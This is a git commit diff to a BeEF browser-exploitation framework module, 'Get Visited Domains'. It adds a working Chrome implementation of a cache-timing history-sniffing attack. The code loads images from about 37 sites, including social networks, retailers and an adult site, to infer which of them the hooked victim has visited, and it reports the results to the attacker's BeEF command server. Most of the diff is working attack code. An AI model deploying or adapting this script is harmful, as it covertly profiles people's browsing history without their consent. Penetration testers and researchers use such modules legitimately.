Add chrome support to get_visited_domains
Added chrme implementation based on visipisi
This commit is contained in:
@@ -133,7 +133,7 @@ if (beef.browser.isIE() == 1) {
|
||||
var MAX_ATTEMPTS = 1;
|
||||
}
|
||||
|
||||
if (beef.browser.isC() == 1 || beef.browser.isO() == 1){
|
||||
if (beef.browser.isO() == 1){
|
||||
/****************
|
||||
* SCANNED URLS *
|
||||
****************/
|
||||
@@ -212,7 +212,7 @@ function perform_check() {
|
||||
if (beef.browser.isFF() == 1) {
|
||||
setTimeout(wait_for_read, 1);
|
||||
}
|
||||
if(beef.browser.isC() == 1 || beef.browser.isO() == 1){
|
||||
if(beef.browser.isO() == 1){
|
||||
setTimeout(wait_for_read, 1);
|
||||
}
|
||||
}
|
||||
@@ -242,11 +242,10 @@ function wait_for_read() {
|
||||
setTimeout(wait_for_read, 0);
|
||||
}
|
||||
}
|
||||
if (beef.browser.isC() == 1 || beef.browser.isO() == 1){
|
||||
if (beef.browser.isO() == 1){
|
||||
try{
|
||||
if(frames['f'].location.href != 'about:blank'){
|
||||
throw 1;
|
||||
}
|
||||
|
||||
if(frames['f'].location.href != 'about:blank') throw 1;
|
||||
|
||||
frames['f'].stop();
|
||||
document.getElementById('f').src = 'javascript:"<body onload=\'parent.frame_ready = true\'>"';
|
||||
@@ -280,7 +279,7 @@ function navigate_to_target() {
|
||||
if (beef.browser.isIE() == 1) {
|
||||
setTimeout(wait_for_noread, 0);
|
||||
}
|
||||
if (beef.browser.isC() == 1 || beef.browser.isO() == 1){
|
||||
if (beef.browser.isO() == 1){
|
||||
setTimeout(wait_for_noread, 1);
|
||||
}
|
||||
urls++;
|
||||
@@ -318,7 +317,7 @@ function wait_for_noread() {
|
||||
}
|
||||
sched_call(wait_for_noread);
|
||||
}
|
||||
if (beef.browser.isC() == 1 || beef.browser.isO() == 1){
|
||||
if (beef.browser.isO() == 1){
|
||||
if (frames['f'].location.href == undefined){
|
||||
confirm_visited = true;
|
||||
throw 1;
|
||||
@@ -343,7 +342,7 @@ function maybe_test_next() {
|
||||
if (beef.browser.isIE() == 1) {
|
||||
document.getElementById("f").src = 'about:blank';
|
||||
}
|
||||
if (beef.browser.isC() == 1 || beef.browser.isO() == 1) {
|
||||
if (beef.browser.isO() == 1) {
|
||||
document.getElementById('f').src = 'about:blank';
|
||||
}
|
||||
if (target_off < targets.length) {
|
||||
@@ -396,7 +395,7 @@ function reload(){
|
||||
/* The handler for "run the test" button on the main page. Dispenses
|
||||
advice, resets state if necessary. */
|
||||
function start_stuff() {
|
||||
if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isC() == 1 || beef.browser.isO() == 1) {
|
||||
if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) {
|
||||
target_off = 0;
|
||||
attempt = 0;
|
||||
confirmed_visited = false;
|
||||
@@ -409,11 +408,139 @@ function start_stuff() {
|
||||
}
|
||||
}
|
||||
|
||||
/**************/
|
||||
/***Visipisi***/
|
||||
/**************/
|
||||
var vp_result = {};
|
||||
|
||||
var visipisi = {
|
||||
webkit: function(url, cb) {
|
||||
var start;
|
||||
var loaded = false;
|
||||
var runtest = function() {
|
||||
window.removeEventListener("message", runtest, false);
|
||||
var img = new Image();
|
||||
start = new Date().getTime();
|
||||
try{
|
||||
img.src = url;
|
||||
} catch(e) {}
|
||||
var messageCB = function (e){
|
||||
var now = new Date().getTime();
|
||||
if (img.complete) {
|
||||
delete img;
|
||||
window.removeEventListener("message", messageCB, false);
|
||||
cbWrap(true);
|
||||
} else if (now - start > 10) {
|
||||
delete img;
|
||||
if (window.stop !== undefined)
|
||||
window.stop();
|
||||
else
|
||||
document.execCommand("Stop",false);
|
||||
window.removeEventListener("message", messageCB, false);
|
||||
cbWrap(false);
|
||||
} else {
|
||||
window.postMessage('','*');
|
||||
}
|
||||
|
||||
};
|
||||
window.addEventListener("message", messageCB, false);
|
||||
window.postMessage('','*');
|
||||
};
|
||||
cbWrap = function (value) {cb(value);};
|
||||
window.addEventListener("message", runtest, false);
|
||||
window.postMessage('','*');
|
||||
}
|
||||
};
|
||||
|
||||
function visipisiCB(vp, endCB, sites, urls, site, result){
|
||||
if(result === null){
|
||||
vp_result[site] = 'Whoops';
|
||||
}
|
||||
else{
|
||||
vp_result[site] = result ? 'visited' : 'not visited';
|
||||
}
|
||||
var next_site = sites.pop();
|
||||
if(next_site)
|
||||
vp( urls[next_site], function (result) {
|
||||
visipisiCB(vp, endCB, sites, urls, next_site, result);
|
||||
});
|
||||
else
|
||||
endCB();
|
||||
}
|
||||
|
||||
function getVisitedDomains(){
|
||||
var tests = {
|
||||
facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png',
|
||||
twitter: 'https://twitter.com/images/spinner.gif',
|
||||
digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png',
|
||||
reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png',
|
||||
hn: 'http://ycombinator.com/images/y18.gif',
|
||||
stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png',
|
||||
wired: 'http://www.wired.com/images/home/wired_logo.gif',
|
||||
xkcd: 'http://imgs.xkcd.com/s/9be30a7.png',
|
||||
linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',
|
||||
slashdot: 'http://a.fsdn.com/sd/logo_w_l.png',
|
||||
myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg',
|
||||
engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png',
|
||||
lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png',
|
||||
pandora: 'http://www.pandora.com/img/logo.png',
|
||||
youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif',
|
||||
yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif',
|
||||
google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png',
|
||||
hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png',
|
||||
cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif',
|
||||
bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png',
|
||||
reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif',
|
||||
wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png',
|
||||
amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png',
|
||||
ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif',
|
||||
newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png',
|
||||
bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif',
|
||||
walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif',
|
||||
perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg',
|
||||
abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif',
|
||||
msy: 'http://msy.com.au/images/MSYLogo-long.gif',
|
||||
techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg',
|
||||
borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif',
|
||||
mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png',
|
||||
anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png',
|
||||
tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png',
|
||||
shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif',
|
||||
staticice: 'http://staticice.com.au/images/banner.jpg',
|
||||
};
|
||||
|
||||
var sites = [];
|
||||
for (var k in tests)
|
||||
sites.push(k);
|
||||
sites.reverse();
|
||||
|
||||
vp = visipisi.webkit;
|
||||
var first_site = sites.pop();
|
||||
var end = function() {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result));
|
||||
}
|
||||
vp(tests[first_site], function(result) {
|
||||
visipisiCB(vp, end, sites, tests, first_site, result);
|
||||
});
|
||||
}
|
||||
|
||||
function prepResult(results){
|
||||
var result_str ='<br>';
|
||||
for(r in results){
|
||||
result_str += r + ':' + results[r]+'<br>';
|
||||
}
|
||||
return result_str;
|
||||
}
|
||||
|
||||
beef.execute(function() {
|
||||
if(beef.browser.isC() == 1){
|
||||
getVisitedDomains();
|
||||
|
||||
} else {
|
||||
urls = undefined;
|
||||
exec_next = null;
|
||||
start_stuff();
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ beef:
|
||||
category: "Browser"
|
||||
name: "Get Visited Domains"
|
||||
description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done by Michal Zalewski at http://lcamtuf.coredump.cx/cachetime/"
|
||||
authors: ["@keith55", "quentin"]
|
||||
authors: ["@keith55","oxplot","quentin"]
|
||||
target:
|
||||
working: ["FF", "IE", "O"]
|
||||
not_working: ["C", "S"]
|
||||
|
||||
Reference in New Issue
Block a user